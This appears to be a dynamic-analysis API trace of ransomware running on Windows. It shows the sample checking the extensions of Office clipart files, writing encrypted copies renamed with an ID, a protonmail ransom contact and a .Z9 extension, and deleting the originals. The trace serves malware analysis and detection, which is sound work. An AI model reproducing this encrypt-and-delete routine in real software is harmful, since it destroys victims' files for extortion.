	[0173.452] lstrlenW (lpString=".7z") returned 3
	[0173.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0173.452] lstrlenW (lpString=".dbf") returned 4
	[0173.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0173.452] lstrlenW (lpString=".1cd") returned 4
	[0173.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0173.452] lstrlenW (lpString=".jpg") returned 4
	[0173.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.453] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.453] lstrlenW (lpString="J0107090.WMF") returned 12
	[0173.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0173.454] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=14132) returned 1
	[0173.454] CloseHandle (hObject=0x540) returned 1
	[0173.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 0x220
	[0173.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0173.455] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.455] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.456] GetLastError () returned 0x0
	[0173.456] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x3734, lpOverlapped=0x0) returned 1
	[0173.465] WriteFile (in: hFile=0x554, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x3740, lpOverlapped=0x0) returned 1
	[0173.466] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.466] WriteFile (in: hFile=0x554, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.467] SetEndOfFile (hFile=0x554) returned 1
	[0173.467] CloseHandle (hObject=0x554) returned 1
	[0173.467] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.467] SetEndOfFile (hFile=0x540) returned 1
	[0173.471] CloseHandle (hObject=0x540) returned 1
	[0173.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 1
	[0173.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0173.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0173.474] lstrlenW (lpString=".doc") returned 4
	[0173.474] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.474] lstrlenW (lpString=".docx") returned 5
	[0173.475] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0173.475] lstrlenW (lpString=".pdf") returned 4
	[0173.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.475] lstrlenW (lpString=".xls") returned 4
	[0173.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.475] lstrlenW (lpString=".xlsx") returned 5
	[0173.475] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0173.475] lstrlenW (lpString=".ppt") returned 4
	[0173.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0173.475] lstrlenW (lpString=".zip") returned 4
	[0173.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.475] lstrlenW (lpString=".rar") returned 4
	[0173.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.475] lstrlenW (lpString=".bz2") returned 4
	[0173.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.475] lstrlenW (lpString=".7z") returned 3
	[0173.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0173.475] lstrlenW (lpString=".dbf") returned 4
	[0173.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0173.475] lstrlenW (lpString=".1cd") returned 4
	[0173.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0173.475] lstrlenW (lpString=".jpg") returned 4
	[0173.475] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0173.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0173.475] lstrlenW (lpString=".doc") returned 4
	[0173.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.475] lstrlenW (lpString=".docx") returned 5
	[0173.475] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0173.475] lstrlenW (lpString=".pdf") returned 4
	[0173.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.476] lstrlenW (lpString=".xls") returned 4
	[0173.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.476] lstrlenW (lpString=".xlsx") returned 5
	[0173.476] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0173.476] lstrlenW (lpString=".ppt") returned 4
	[0173.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0173.476] lstrlenW (lpString=".zip") returned 4
	[0173.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.476] lstrlenW (lpString=".rar") returned 4
	[0173.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.476] lstrlenW (lpString=".bz2") returned 4
	[0173.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.476] lstrlenW (lpString=".7z") returned 3
	[0173.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0173.476] lstrlenW (lpString=".dbf") returned 4
	[0173.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0173.476] lstrlenW (lpString=".1cd") returned 4
	[0173.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0173.476] lstrlenW (lpString=".jpg") returned 4
	[0173.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.476] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.476] lstrlenW (lpString="J0107130.WMF") returned 12
	[0173.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0173.477] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=27084) returned 1
	[0173.477] CloseHandle (hObject=0x540) returned 1
	[0173.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 0x220
	[0173.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0173.478] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.478] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.479] GetLastError () returned 0x0
	[0173.479] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x69cc, lpOverlapped=0x0) returned 1
	[0173.676] WriteFile (in: hFile=0x554, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x69d0, lpOverlapped=0x0) returned 1
	[0173.677] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.677] WriteFile (in: hFile=0x554, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.677] SetEndOfFile (hFile=0x554) returned 1
	[0173.678] CloseHandle (hObject=0x554) returned 1
	[0173.678] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.678] SetEndOfFile (hFile=0x540) returned 1
	[0173.680] CloseHandle (hObject=0x540) returned 1
	[0173.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 1
	[0173.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0173.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0173.682] lstrlenW (lpString=".doc") returned 4
	[0173.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.682] lstrlenW (lpString=".docx") returned 5
	[0173.682] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0173.682] lstrlenW (lpString=".pdf") returned 4
	[0173.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.682] lstrlenW (lpString=".xls") returned 4
	[0173.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.682] lstrlenW (lpString=".xlsx") returned 5
	[0173.682] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0173.682] lstrlenW (lpString=".ppt") returned 4
	[0173.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0173.682] lstrlenW (lpString=".zip") returned 4
	[0173.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.682] lstrlenW (lpString=".rar") returned 4
	[0173.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.682] lstrlenW (lpString=".bz2") returned 4
	[0173.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.682] lstrlenW (lpString=".7z") returned 3
	[0173.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0173.682] lstrlenW (lpString=".dbf") returned 4
	[0173.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0173.683] lstrlenW (lpString=".1cd") returned 4
	[0173.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0173.683] lstrlenW (lpString=".jpg") returned 4
	[0173.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0173.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0173.683] lstrlenW (lpString=".doc") returned 4
	[0173.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.683] lstrlenW (lpString=".docx") returned 5
	[0173.683] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0173.683] lstrlenW (lpString=".pdf") returned 4
	[0173.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.683] lstrlenW (lpString=".xls") returned 4
	[0173.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.683] lstrlenW (lpString=".xlsx") returned 5
	[0173.683] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0173.683] lstrlenW (lpString=".ppt") returned 4
	[0173.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0173.683] lstrlenW (lpString=".zip") returned 4
	[0173.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.683] lstrlenW (lpString=".rar") returned 4
	[0173.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.683] lstrlenW (lpString=".bz2") returned 4
	[0173.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.683] lstrlenW (lpString=".7z") returned 3
	[0173.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0173.683] lstrlenW (lpString=".dbf") returned 4
	[0173.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0173.683] lstrlenW (lpString=".1cd") returned 4
	[0173.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF") returned 68
	[0173.684] lstrlenW (lpString=".jpg") returned 4
	[0173.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.684] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.684] lstrlenW (lpString="J0107158.WMF") returned 12
	[0173.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0173.685] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=24908) returned 1
	[0173.685] CloseHandle (hObject=0x540) returned 1
	[0173.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 0x220
	[0173.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0173.685] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.685] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.686] GetLastError () returned 0x0
	[0173.686] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x614c, lpOverlapped=0x0) returned 1
	[0173.689] WriteFile (in: hFile=0x554, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x6150, lpOverlapped=0x0) returned 1
	[0173.696] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.696] WriteFile (in: hFile=0x554, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.696] SetEndOfFile (hFile=0x554) returned 1
	[0173.696] CloseHandle (hObject=0x554) returned 1
	[0173.697] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.697] SetEndOfFile (hFile=0x540) returned 1
	[0173.701] CloseHandle (hObject=0x540) returned 1
	[0173.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 1
	[0173.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0173.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0173.702] lstrlenW (lpString=".doc") returned 4
	[0173.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.702] lstrlenW (lpString=".docx") returned 5
	[0173.702] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0173.702] lstrlenW (lpString=".pdf") returned 4
	[0173.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.702] lstrlenW (lpString=".xls") returned 4
	[0173.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.702] lstrlenW (lpString=".xlsx") returned 5
	[0173.702] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0173.702] lstrlenW (lpString=".ppt") returned 4
	[0173.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0173.703] lstrlenW (lpString=".zip") returned 4
	[0173.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.703] lstrlenW (lpString=".rar") returned 4
	[0173.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.703] lstrlenW (lpString=".bz2") returned 4
	[0173.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.703] lstrlenW (lpString=".7z") returned 3
	[0173.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0173.703] lstrlenW (lpString=".dbf") returned 4
	[0173.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0173.703] lstrlenW (lpString=".1cd") returned 4
	[0173.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0173.703] lstrlenW (lpString=".jpg") returned 4
	[0173.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0173.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0173.703] lstrlenW (lpString=".doc") returned 4
	[0173.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.703] lstrlenW (lpString=".docx") returned 5
	[0173.703] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0173.703] lstrlenW (lpString=".pdf") returned 4
	[0173.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.703] lstrlenW (lpString=".xls") returned 4
	[0173.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.703] lstrlenW (lpString=".xlsx") returned 5
	[0173.703] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0173.703] lstrlenW (lpString=".ppt") returned 4
	[0173.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68
	[0173.704] lstrlenW (lpString=".zip") returned 4
	[0173.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.704] lstrlenW (lpString=".rar") returned 4
	[0173.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.704] lstrlenW (lpString=".bz2") returned 4
	[0173.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
